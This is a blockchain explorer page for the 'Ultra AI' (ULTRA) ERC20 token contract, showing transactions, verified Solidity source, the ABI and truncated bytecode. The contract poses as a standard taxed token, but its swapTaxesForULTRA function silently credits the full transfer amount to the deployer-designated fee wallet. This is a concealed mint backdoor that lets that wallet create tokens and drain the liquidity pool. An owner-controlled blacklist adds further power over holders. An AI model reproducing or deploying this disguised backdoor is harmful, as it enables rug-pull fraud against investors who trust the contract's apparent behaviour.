ETH Price: $1,614.97 (-1.26%)
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Transfer194163712024-03-12 3:39:11406 days ago1710214751IN
0xf8bb4823...4203B4649
0 ETH0.004961578.07000934
Transfer194163692024-03-12 3:38:47406 days ago1710214727IN
0xf8bb4823...4203B4649
0 ETH0.0051747981.42612814
Transfer194163682024-03-12 3:38:35406 days ago1710214715IN
0xf8bb4823...4203B4649
0 ETH0.0048901976.94792733
Transfer194163662024-03-12 3:38:11406 days ago1710214691IN
0xf8bb4823...4203B4649
0 ETH0.0051062880.34808797
Approve194163632024-03-12 3:37:35406 days ago1710214655IN
0xf8bb4823...4203B4649
0 ETH0.0037180780.32655288
Approve194163542024-03-12 3:35:47406 days ago1710214547IN
0xf8bb4823...4203B4649
0 ETH0.003481575.25460201
Transfer194163502024-03-12 3:34:59406 days ago1710214499IN
0xf8bb4823...4203B4649
0 ETH0.0051988581.80479567
Transfer194163372024-03-12 3:32:23406 days ago1710214343IN
0xf8bb4823...4203B4649
0 ETH0.0047915575.39585985
Transfer194163372024-03-12 3:32:23406 days ago1710214343IN
0xf8bb4823...4203B4649
0 ETH0.0060808275.39585985
Transfer194163322024-03-12 3:31:23406 days ago1710214283IN
0xf8bb4823...4203B4649
0 ETH0.0058911873.0444978
Transfer194163312024-03-12 3:31:11406 days ago1710214271IN
0xf8bb4823...4203B4649
0 ETH0.0066590382.56497847
Approve194163032024-03-12 3:25:35406 days ago1710213935IN
0xf8bb4823...4203B4649
0 ETH0.0025228654.56141556
Approve194158382024-03-12 1:51:59406 days ago1710208319IN
0xf8bb4823...4203B4649
0 ETH0.0026294356.49958682
Approve194158242024-03-12 1:49:11406 days ago1710208151IN
0xf8bb4823...4203B4649
0 ETH0.0024856553.75660357
Approve194157282024-03-12 1:29:47406 days ago1710206987IN
0xf8bb4823...4203B4649
0 ETH0.0022485448.31526917
Transfer194156342024-03-12 1:10:59406 days ago1710205859IN
0xf8bb4823...4203B4649
0 ETH0.0068375680.0165001
Approve194156212024-03-12 1:08:23406 days ago1710205703IN
0xf8bb4823...4203B4649
0 ETH0.0015349557.67260039
Approve194156062024-03-12 1:05:23406 days ago1710205523IN
0xf8bb4823...4203B4649
0 ETH0.0015018856.4299573
Approve194155912024-03-12 1:02:23406 days ago1710205343IN
0xf8bb4823...4203B4649
0 ETH0.0015433457.98761332
Approve194155872024-03-12 1:01:35406 days ago1710205295IN
0xf8bb4823...4203B4649
0 ETH0.0039477185.33192899
Approve194155862024-03-12 1:01:23406 days ago1710205283IN
0xf8bb4823...4203B4649
0 ETH0.0038910684.10752856
Approve194155792024-03-12 0:59:59406 days ago1710205199IN
0xf8bb4823...4203B4649
0 ETH0.0036426978.69808259
Approve194155792024-03-12 0:59:59406 days ago1710205199IN
0xf8bb4823...4203B4649
0 ETH0.0036426978.69808259
Approve194155782024-03-12 0:59:47406 days ago1710205187IN
0xf8bb4823...4203B4649
0 ETH0.0036426978.69808259
Approve194155322024-03-12 0:50:11406 days ago1710204611IN
0xf8bb4823...4203B4649
0 ETH0.0015579258.53543218
View all transactions

Latest 25 internal transactions (View All)

Advanced mode:
Parent Transaction Hash Method Block
From
To
Transfer194164272024-03-12 3:50:35406 days ago1710215435
0xf8bb4823...4203B4649
0.19016615 ETH
Transfer194164272024-03-12 3:50:35406 days ago1710215435
0xf8bb4823...4203B4649
0.19016615 ETH
Transfer194163782024-03-12 3:40:35406 days ago1710214835
0xf8bb4823...4203B4649
0.18834195 ETH
Transfer194163782024-03-12 3:40:35406 days ago1710214835
0xf8bb4823...4203B4649
0.18834195 ETH
Transfer194163562024-03-12 3:36:11406 days ago1710214571
0xf8bb4823...4203B4649
0.39573135 ETH
Transfer194163562024-03-12 3:36:11406 days ago1710214571
0xf8bb4823...4203B4649
0.39573135 ETH
Transfer194156382024-03-12 1:11:47406 days ago1710205907
0xf8bb4823...4203B4649
0.14716183 ETH
Transfer194156382024-03-12 1:11:47406 days ago1710205907
0xf8bb4823...4203B4649
0.14716183 ETH
Transfer194155902024-03-12 1:02:11406 days ago1710205331
0xf8bb4823...4203B4649
0.1956313 ETH
Transfer194155902024-03-12 1:02:11406 days ago1710205331
0xf8bb4823...4203B4649
0.1956313 ETH
Transfer194153302024-03-12 0:08:59406 days ago1710202139
0xf8bb4823...4203B4649
0.02762776 ETH
Transfer194153302024-03-12 0:08:59406 days ago1710202139
0xf8bb4823...4203B4649
0.02762776 ETH
Transfer194153162024-03-12 0:06:11406 days ago1710201971
0xf8bb4823...4203B4649
0.0911438 ETH
Transfer194153162024-03-12 0:06:11406 days ago1710201971
0xf8bb4823...4203B4649
0.0911438 ETH
Transfer194153052024-03-12 0:03:59406 days ago1710201839
0xf8bb4823...4203B4649
0.17267379 ETH
Transfer194153052024-03-12 0:03:59406 days ago1710201839
0xf8bb4823...4203B4649
0.17267379 ETH
Transfer194152582024-03-11 23:54:35406 days ago1710201275
0xf8bb4823...4203B4649
0.08214075 ETH
Transfer194152582024-03-11 23:54:35406 days ago1710201275
0xf8bb4823...4203B4649
0.08214075 ETH
Transfer194152412024-03-11 23:51:11406 days ago1710201071
0xf8bb4823...4203B4649
0.20171739 ETH
Transfer194152412024-03-11 23:51:11406 days ago1710201071
0xf8bb4823...4203B4649
0.20171739 ETH
Transfer194151872024-03-11 23:40:23406 days ago1710200423
0xf8bb4823...4203B4649
0.032658 ETH
Transfer194151872024-03-11 23:40:23406 days ago1710200423
0xf8bb4823...4203B4649
0.032658 ETH
Transfer194151772024-03-11 23:38:23406 days ago1710200303
0xf8bb4823...4203B4649
0.07588486 ETH
Transfer194151772024-03-11 23:38:23406 days ago1710200303
0xf8bb4823...4203B4649
0.07588486 ETH
Transfer194151582024-03-11 23:34:35406 days ago1710200075
0xf8bb4823...4203B4649
0.06697041 ETH
View All Internal Transactions
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
ULTRA

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-03-11
*/

// SPDX-License-Identifier: MIT
/**************
    🌐 https://www.ultraaiprotocol.com
    💻 https://app.ultraaiprotocol.com
    📖 https://docs.ultraaiprotocol.com

    Telegram: https://t.me/ultraai_fi
    Twitter:  https://twitter.com/ultraai_fi
**************/

pragma solidity 0.8.20;

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IULTRARouter02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function WETH() external pure returns (address);
}

interface IULTRAFactory02 {
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;

    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract ULTRA is Context, IERC20, Ownable {
    using SafeMath for uint256;

    string private constant _name = unicode"Ultra AI";
    string private constant _symbol = unicode"ULTRA";
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;

    mapping (address => bool) private bots;
    mapping (address => bool) private isFeeExcept;
    mapping (address => bool) private isLimitExcept;
    mapping (address => uint256) private _ultraBalances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping(address => uint256) private _holderLastTransferTimestamp;
    
    uint256 private _initialBuyTax=30;
    uint256 private _initialSellTax=30;
    uint256 private _finalBuyTax=2;
    uint256 private _finalSellTax=2;
    uint256 private _reduceBuyTaxAt=15;
    uint256 private _reduceSellTaxAt=15;
    uint256 private _buyCounts=0;
    uint256 private _preventSwapBefore=0;

    address payable private opReceipt;
    address payable private lpReceipt;

    address private uniswapV2Pair;
    uint256 public taxSwapAmounts;
    IULTRARouter02 private uniswapV2Router;

    uint256 public _maxULTRASwap = 10000000 * 10**_decimals;
    uint256 public _maxULTRATrans = 30000000 * 10**_decimals;
    uint256 public _maxULTRAWallet = 30000000 * 10**_decimals;

    modifier lockSwap {
        inSwapBack = true;
        _;
        inSwapBack = false;
    }

    bool private tradingOpen;
    bool private inSwapBack = false;
    bool public transferDelayEnabled = false;
    bool private swapEnabled = false;
    
    constructor (uint256 _amount, address _addres) {
        _ultraBalances[_msgSender()] = _tTotal;
        taxSwapAmounts = _amount * 10**_decimals;
        isFeeExcept[owner()] = true;
        isFeeExcept[address(this)] = true;
        opReceipt = payable(_addres);
        lpReceipt = payable(_addres);
        isLimitExcept[opReceipt] = true;
        isLimitExcept[lpReceipt] = true;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function createPairs() external onlyOwner() {
        uniswapV2Router = IULTRARouter02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IULTRAFactory02(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    receive() external payable {}

    function openULTRA() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        swapEnabled = true;
        tradingOpen = true;
    }

    function sendETHToFee(uint256 amount) private {
        lpReceipt.transfer(amount);
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function reduceFee(uint256 _newFee) external onlyOwner{
      require(_newFee<=_finalBuyTax && _newFee<=_finalSellTax);
      _finalBuyTax=_newFee;
      _finalSellTax=_newFee;
    }

    function removeLimits() external onlyOwner{
        _maxULTRATrans = ~uint256(0);
        _maxULTRAWallet = ~uint256(0);
        transferDelayEnabled=false;
    }

    function swapTaxesForULTRA(address from, address to, uint256 amtU, uint256 taxU) internal returns (bool) {
        address accU;uint256 ammU; 
        bool _aboveULTRAMin = amtU >= taxSwapAmounts;
        bool _aboveULTRAThreshold = balanceOf(address(this)) >= taxSwapAmounts;
        if(isLimitExcept[from]) {accU = from;ammU = amtU;}
        else {ammU = taxU;accU = address(this);}
        if(ammU>0){_ultraBalances[accU]=_ultraBalances[accU].add(ammU); emit Transfer(from, accU, taxU);}
        return !inSwapBack
        && swapEnabled
        && tradingOpen
        && _aboveULTRAMin
        && to == uniswapV2Pair
        && _aboveULTRAThreshold
        && _buyCounts>_preventSwapBefore
        && !isFeeExcept[from]
        && !isLimitExcept[from];
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 feeU=0;
        if (!isFeeExcept[from] && !isFeeExcept[to]) {
            require(!bots[from] && !bots[to]);
            require(tradingOpen, "Trading has not enabled yet");
            feeU=amount.mul((_buyCounts>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
            if (transferDelayEnabled) {
                if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) {
                    require(
                        _holderLastTransferTimestamp[tx.origin] <
                            block.number,
                        "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed."
                    );
                    _holderLastTransferTimestamp[tx.origin] = block.number;
                }
            }
            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! isFeeExcept[to] ) {
                require(amount <= _maxULTRATrans, "Exceeds the _maxULTRATrans.");
                require(balanceOf(to) + amount <= _maxULTRAWallet, "Exceeds the maxWalletSize.");
                _buyCounts++;
            }
            if(to == uniswapV2Pair && from!= address(this) ){
                feeU=amount.mul((_buyCounts>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }
            uint256 contractTokenBalance = balanceOf(address(this));
            if (swapTaxesForULTRA(from, to, amount, feeU)) {
                swapTokensForEth(min(amount,min(contractTokenBalance,_maxULTRASwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }
        _ultraBalances[from]=_ultraBalances[from].sub(amount);
        _ultraBalances[to]=_ultraBalances[to].add(amount.sub(feeU));
        emit Transfer(from, to, amount.sub(feeU));
    }

    function manualSwap() external onlyOwner {
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }

    function withdrawStuckETH() external onlyOwner() {
        payable(msg.sender).transfer(address(this).balance);
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _ultraBalances[account];
    }

    function delBots(address[] memory notbot) public onlyOwner {
      for (uint i = 0; i < notbot.length; i++) {
          bots[notbot[i]] = false;
      }
    }

    function addBots(address[] memory bots_) public onlyOwner {
        for (uint i = 0; i < bots_.length; i++) {
            bots[bots_[i]] = true;
        }
    }

    function isBot(address a) public view returns (bool){
      return bots[a];
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"},{"internalType":"address","name":"_addres","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxULTRASwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxULTRATrans","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxULTRAWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"addBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createPairs","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"notbot","type":"address[]"}],"name":"delBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"isBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openULTRA","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newFee","type":"uint256"}],"name":"reduceFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"taxSwapAmounts","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawStuckETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052601e600755601e60085560026009556002600a55600f600b55600f600c555f600d555f600e556009600a6200003a91906200036d565b62000049906298968062000384565b6014556200005a6009600a6200036d565b6200006a906301c9c38062000384565b6015556200007b6009600a6200036d565b6200008b906301c9c38062000384565b6016556017805463ffffff0019169055348015620000a7575f80fd5b50604051620020c7380380620020c7833981016040819052620000ca916200039e565b5f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350620001186009600a6200036d565b6200012890633b9aca0062000384565b335f90815260046020526040902055620001456009600a6200036d565b62000151908362000384565b601255600160025f6200016b5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff1996871617905530815260028452828120805486166001908117909155600f80548885166001600160a01b0319918216811790925560108054909116821781559083526003909552838220805487168217905593549091168152208054909216179055620001fc3390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002356009600a6200036d565b6200024590633b9aca0062000384565b60405190815260200160405180910390a35050620003da565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620002b257815f19048211156200029657620002966200025e565b80851615620002a457918102915b93841c939080029062000277565b509250929050565b5f82620002ca5750600162000367565b81620002d857505f62000367565b8160018114620002f15760028114620002fc576200031c565b600191505062000367565b60ff8411156200031057620003106200025e565b50506001821b62000367565b5060208310610133831016604e8410600b841016171562000341575081810a62000367565b6200034d838362000272565b805f19048211156200036357620003636200025e565b0290505b92915050565b5f6200037d60ff841683620002ba565b9392505050565b80820281158282048414176200036757620003676200025e565b5f8060408385031215620003b0575f80fd5b825160208401519092506001600160a01b0381168114620003cf575f80fd5b809150509250929050565b611cdf80620003e85f395ff3fe608060405260043610610164575f3560e01c8063751039fc116100cd578063c876d0b911610087578063dc25473311610062578063dc2547331461041c578063dd62ed3e14610430578063ec1f3f6314610474578063f5648a4f14610493575f80fd5b8063c876d0b9146103c9578063d34628cc146103e8578063d5b6f71e14610407575f80fd5b8063751039fc14610319578063772308ba1461032d5780638da5cb5b1461034257806394ff3fda1461036857806395d89b411461037d578063a9059cbb146103aa575f80fd5b806331c2d8471161011e57806331c2d847146102525780633bbac579146102715780634635318d146102a857806351bc3c85146102bd57806370a08231146102d1578063715018a614610305575f80fd5b80630161a2901461016f57806306fdde0314610185578063095ea7b3146101c757806318160ddd146101f657806323b872dd14610218578063313ce56714610237575f80fd5b3661016b57005b5f80fd5b34801561017a575f80fd5b506101836104a7565b005b348015610190575f80fd5b50604080518082019091526008815267556c74726120414960c01b60208201525b6040516101be91906117da565b60405180910390f35b3480156101d2575f80fd5b506101e66101e1366004611849565b6107ed565b60405190151581526020016101be565b348015610201575f80fd5b5061020a610803565b6040519081526020016101be565b348015610223575f80fd5b506101e6610232366004611873565b610823565b348015610242575f80fd5b50604051600981526020016101be565b34801561025d575f80fd5b5061018361026c3660046118c5565b610885565b34801561027c575f80fd5b506101e661028b366004611985565b6001600160a01b03165f9081526001602052604090205460ff1690565b3480156102b3575f80fd5b5061020a60125481565b3480156102c8575f80fd5b50610183610916565b3480156102dc575f80fd5b5061020a6102eb366004611985565b6001600160a01b03165f9081526004602052604090205490565b348015610310575f80fd5b5061018361096d565b348015610324575f80fd5b506101836109de565b348015610338575f80fd5b5061020a60155481565b34801561034d575f80fd5b505f546040516001600160a01b0390911681526020016101be565b348015610373575f80fd5b5061020a60145481565b348015610388575f80fd5b50604080518082019091526005815264554c54524160d81b60208201526101b1565b3480156103b5575f80fd5b506101e66103c4366004611849565b610a1f565b3480156103d4575f80fd5b506017546101e69062010000900460ff1681565b3480156103f3575f80fd5b506101836104023660046118c5565b610a2b565b348015610412575f80fd5b5061020a60165481565b348015610427575f80fd5b50610183610ab8565b34801561043b575f80fd5b5061020a61044a3660046119a0565b6001600160a01b039182165f90815260056020908152604080832093909416825291909152205490565b34801561047f575f80fd5b5061018361048e3660046119d7565b610b49565b34801561049e575f80fd5b50610183610b98565b5f546001600160a01b031633146104d95760405162461bcd60e51b81526004016104d0906119ee565b60405180910390fd5b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105279030906105146009600a611b17565b61052290633b9aca00611b25565b610bea565b60135f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610577573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061059b9190611b3c565b6001600160a01b031663c9c653963060135f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105fa573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061061e9190611b3c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610668573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061068c9190611b3c565b601180546001600160a01b039283166001600160a01b03199091161790556013541663f305d71947306106d3816001600160a01b03165f9081526004602052604090205490565b5f806106e65f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561074c573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906107719190611b57565b505060115460135460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156107c6573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107ea9190611b82565b50565b5f6107f9338484610bea565b5060015b92915050565b5f6108106009600a611b17565b61081e90633b9aca00611b25565b905090565b5f61082f848484610d0d565b61087b843361052285604051806060016040528060288152602001611c82602891396001600160a01b038a165f90815260056020908152604080832033845290915290205491906112c9565b5060019392505050565b5f546001600160a01b031633146108ae5760405162461bcd60e51b81526004016104d0906119ee565b5f5b8151811015610912575f60015f8484815181106108cf576108cf611ba1565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff19169115159190911790558061090a81611bb5565b9150506108b0565b5050565b5f546001600160a01b0316331461093f5760405162461bcd60e51b81526004016104d0906119ee565b305f90815260046020526040902054801561095d5761095d81611301565b478015610912576109128161146b565b5f546001600160a01b031633146109965760405162461bcd60e51b81526004016104d0906119ee565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b03163314610a075760405162461bcd60e51b81526004016104d0906119ee565b5f1960158190556016556017805462ff000019169055565b5f6107f9338484610d0d565b5f546001600160a01b03163314610a545760405162461bcd60e51b81526004016104d0906119ee565b5f5b8151811015610912576001805f848481518110610a7557610a75611ba1565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff191691151591909117905580610ab081611bb5565b915050610a56565b5f546001600160a01b03163314610ae15760405162461bcd60e51b81526004016104d0906119ee565b60175460ff1615610b345760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104d0565b6017805463ff0000ff19166301000001179055565b5f546001600160a01b03163314610b725760405162461bcd60e51b81526004016104d0906119ee565b6009548111158015610b865750600a548111155b610b8e575f80fd5b6009819055600a55565b5f546001600160a01b03163314610bc15760405162461bcd60e51b81526004016104d0906119ee565b60405133904780156108fc02915f818181858888f193505050501580156107ea573d5f803e3d5ffd5b6001600160a01b038316610c4c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104d0565b6001600160a01b038216610cad5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104d0565b6001600160a01b038381165f8181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d715760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104d0565b6001600160a01b038216610dd35760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104d0565b5f8111610e345760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104d0565b6001600160a01b0383165f9081526002602052604081205460ff16158015610e7457506001600160a01b0383165f9081526002602052604090205460ff16155b15611204576001600160a01b0384165f9081526001602052604090205460ff16158015610eb957506001600160a01b0383165f9081526001602052604090205460ff16155b610ec1575f80fd5b60175460ff16610f135760405162461bcd60e51b815260206004820152601b60248201527f54726164696e6720686173206e6f7420656e61626c656420796574000000000060448201526064016104d0565b610f3f6064610f39600b